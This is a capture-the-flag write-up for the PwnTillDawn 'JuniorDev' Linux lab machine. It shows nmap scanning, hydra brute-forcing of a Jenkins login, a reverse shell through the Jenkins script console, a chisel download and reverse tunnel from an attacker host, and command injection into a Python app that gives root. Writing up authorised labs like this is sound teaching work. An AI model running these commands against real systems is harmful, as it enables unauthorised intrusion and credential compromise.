juansec@home:~$

PwnTillDawn - JuniorDev Writeup

This is a machine from the platform PwnTillDawn.

Check the platform by yourself and happy hacking:

https://www.wizlynxgroup.com/

https://online.pwntilldawn.com/

Machine details:

OS: Linux

Rated as: Medium

IP: 10.150.150.38

Goal: Become root and capture 4 flags: FLAG69.txt, FLAG70.txt, FLAG71.txt, and FLAG72.txt.

Manual OS fingerprinting.

Pinging the machine and based on the TTL I can conclude it’s a Linux box:


└─$ ping -c 1 10.150.150.38
PING 10.150.150.38 (10.150.150.38) 56(84) bytes of data.
64 bytes from 10.150.150.38: icmp_seq=1 ttl=63 time=163 ms

--- 10.150.150.38 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 162.577/162.577/162.577/0.000 ms

Port scanning.

I use two port scans, in the first one I discover all open ports. In the second I perform a scan over those discovered ports trying to discover the service versions and also try basic Nmap enum scripts.

First scan.

└─$ IP=10.150.150.38;nmap -p- --min-rate=5000 -n -sT -Pn -oG allports --open $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 22:40 EDT
Nmap scan report for 10.150.150.38
Host is up (0.16s latency).
Not shown: 62938 closed ports, 2595 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
30609/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds

  • In the first part, I declare the IP of the machine as an env variable, because it reduces me time when doing the scans.
  • -p-: Scan all TCP ports.
  • --min-rate=5000: I want to go fast, remember this is a controlled environment, not recommended in corporate environments.
  • -n: Don’t use DNS resolution (It goes faster this way).
  • -sT: Use TCP connect scan. I prefer this rather than the default (stealth).
  • -Pn: Don’t do host discovery on the machine, it can save me some time. Before the scan I always test reachability to the machine.
  • -oG allports: Saves the Nmap output in grepable format to a file called allports.
  • --open: Only shows me open ports.
  • $IP: This is where I call my env variable the IP of the machine.

When I’m facing some fancy bash commands that at first sight I don’t clearly understand there is a very useful resource (Thanks Henry): https://explainshell.com/

Remember I saved the output as nmap grepable format? Well, that was because I use a bash function that extracts the open ports from there and placed them in a bash env variable called ports. Thanks to s4vitar for this:

function extract () {
        ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS=/ | tr '\n' ','| sed 's/.$//' )"
        echo "Open ports:  $ports"
        export ports=$(echo $ports | tr -d '\n')
}

After writing that function in my .zshrc file and using the source command to reload the config, this is the output:

└─$ extract allports                                                                   
Open ports:  22,30609

Second scan.

└─$ nmap -p$ports --min-rate=1000 -sC -sV -n -Pn -oN targeted $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 23:34 EDT
Nmap scan report for 10.150.150.38
Host is up (0.16s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 64:63:02:cb:00:44:4a:0f:95:1a:34:8d:4e:60:38:1c (RSA)
|   256 0a:6e:10:95:de:3d:6d:4b:98:5f:f0:cf:cb:f5:79:9e (ECDSA)
|_  256 08:04:04:08:51:d2:b4:a4:03:bb:02:71:2f:66:09:69 (ED25519)
30609/tcp open  http    Jetty 9.4.27.v20200227
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Site doesnt have a title (text/html;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.71 seconds
  • -p$ports: Only scan the ports I discovered from the previous scan.
  • --min-rate=1000: Fast scan.
  • -sC: Perform Nmap default scripts scan.
  • -sV: Do version detection.
  • -n: Don’t do DNS resolution.
  • -Pn: Don’t do host discovery.
  • -oN targeted: Save the output to a file called targeted, using the normal format.
  • $IP: This is the variable containing the IP.

Search for vulnerable versions.

Once are identified the service versions, let’s take a look in searchsploit:

└─$ searchsploit openssh 7.9
Exploits: No Results
Shellcodes: No Results
Papers: No Results
└─$ searchsploit jetty 9.4  
Exploits: No Results
Shellcodes: No Results
Papers: No Results

Nothing useful was found here.

Jenkins login page.

When we visit the web service on port 30609 it shows a Jenkins login page:

I found that the default Jenkins username is admin, and after trying default easy passwords unsuccessfully I moved on and try to bruteforce the login page with hydra.

Login bruteforcing.

First I intercepted the login request with BurpSuite to find the parameters being sent:

Then, the final hydra command looks like this:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.150.150.38 -s 30609 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid" -V -I -F

After a while it discovers the password:

...
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "gloria" - 649 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "tyler" - 650 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.150.150.38 - login "admin" - pass "aaron" - 651 of 14344399 [child 0] (0/0)
[30609][http-post-form] host: 10.150.150.38   login: admin   password: matrix
[STATUS] attack finished for 10.150.150.38 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-08 20:30:18

The creds are admin : matrix

Jenkins code execution.

In the Script Console page we can execute Java code, and we can use it to execute system commands:

So we set up a listener and then execute a code to get a reverse shell:

And we’re in:

└─$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [10.66.69.69] from (UNKNOWN) [10.150.150.38] 58262
whoami
jenkins

Then I followed this procedure to upgrade my rev shell to a very nice TTY.

Low priv shell as jenkins user.

Inside the machine, under the /var/lib/jenkins we found the FLAG70.txt:

Then if we perform a search for FLAG69 we found the following:

jenkins@dev1:~$ find / -name FLAG69* 2>/dev/null
/var/lib/jenkins/users/FLAG69_7705914462374786576
jenkins@dev1:~$

Which turns to be a directory. Inside it there is a config.xml file, and when we read it we found the first flag:

Doing some manual enumeration we discover port 8080 which wasn’t showed as up in the initial Nmap scan:

jenkins@dev1:~$ netstat -antup
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    286 10.150.150.38:58264     10.66.69.69:6969       ESTABLISHED 636/bash            
tcp6       0      0 :::30609                :::*                    LISTEN      467/java            
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       1      0 10.150.150.38:30609     10.66.69.69:48350      CLOSE_WAIT  467/java

Port forwarding.

We transfer chisel tool to the victim machine to do the port forwarding.

jenkins@dev1:/tmp$ wget http://10.66.66.69:6971/chisel
--2020-07-29 11:04:48--  http://10.66.69.69:6971/chisel
Connecting to 10.66.69.69:6971... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3295912 (3.1M) [application/octet-stream]
Saving to: ‘chisel’

chisel                                     100%[========================================================================================>]   3.14M   230KB/s    in 14s     

2020-07-29 11:05:02 (233 KB/s) - ‘chisel’ saved [3295912/3295912]

jenkins@dev1:/tmp$

Setting up the chisel server on the attacking machine:

└─$ ./chisel server -port 7171 --reverse                                                                                                                              127 ⨯
2021/09/08 21:49:35 server: Reverse tunnelling enabled
2021/09/08 21:49:35 server: Fingerprint DHQvfo/V5XH2fPvjE630ikAnWDP3/GApoK5fkC/8ryk=
2021/09/08 21:49:35 server: Listening on http://0.0.0.0:7171

And then we fire it up as client mode on the victim machine:

jenkins@dev1:/tmp$ chmod +x chisel;./chisel client 10.66.69.69:7171 R:8080:127.0.0.1:8080
2020/07/29 11:10:24 client: Connecting to ws://10.66.69.69:7171
2020/07/29 11:10:25 client: Connected (Latency 160.054035ms)

New web service in 8080.

After doing the port forwarding the next step is to visit manually the page:

It is a calculator.

We found some interesting info looking at the source code:

<html>
        <head>
                <title>Jr. dev py example</title>
        </head>
        <body>
                <div id="content">
                        <form action="/" method="post">
        <div>
                <input name="op1" type="text" />
                +
                <input name="op2" type="text" />
                =
                <input name="result" type="text" disabled="disabled" />
        </div>
        <div>
                <input type="submit" value="Calculate" />
        </div>

<!-- <img src="./static/FLAG.png"> -->


                </div>
        </body>

</html>

And with that we got the third flag:

PrivEsc via command injection in python web app.

By the title of the web page we can conclude it is a python web app.

Searching on the web payloads for command injection in python web apps I found this article.

And after trying different payloads I managed to get a reverse shell:

And we receive a root shell and with that, we capture the last flag:

And that was it.

Skills used.

  • Port enumeration with Nmap.
  • Login form bruteforcing with hydra.
  • Jenkins code execution.
  • Port forwarding with chisel.
  • Python web app command injection.

Final thoughts.

It was not a very difficult machine, I spent a lot of fun while doing it even though the last part of the command injection was hard for me, I had to try a different combination of payloads until I finally got the good one.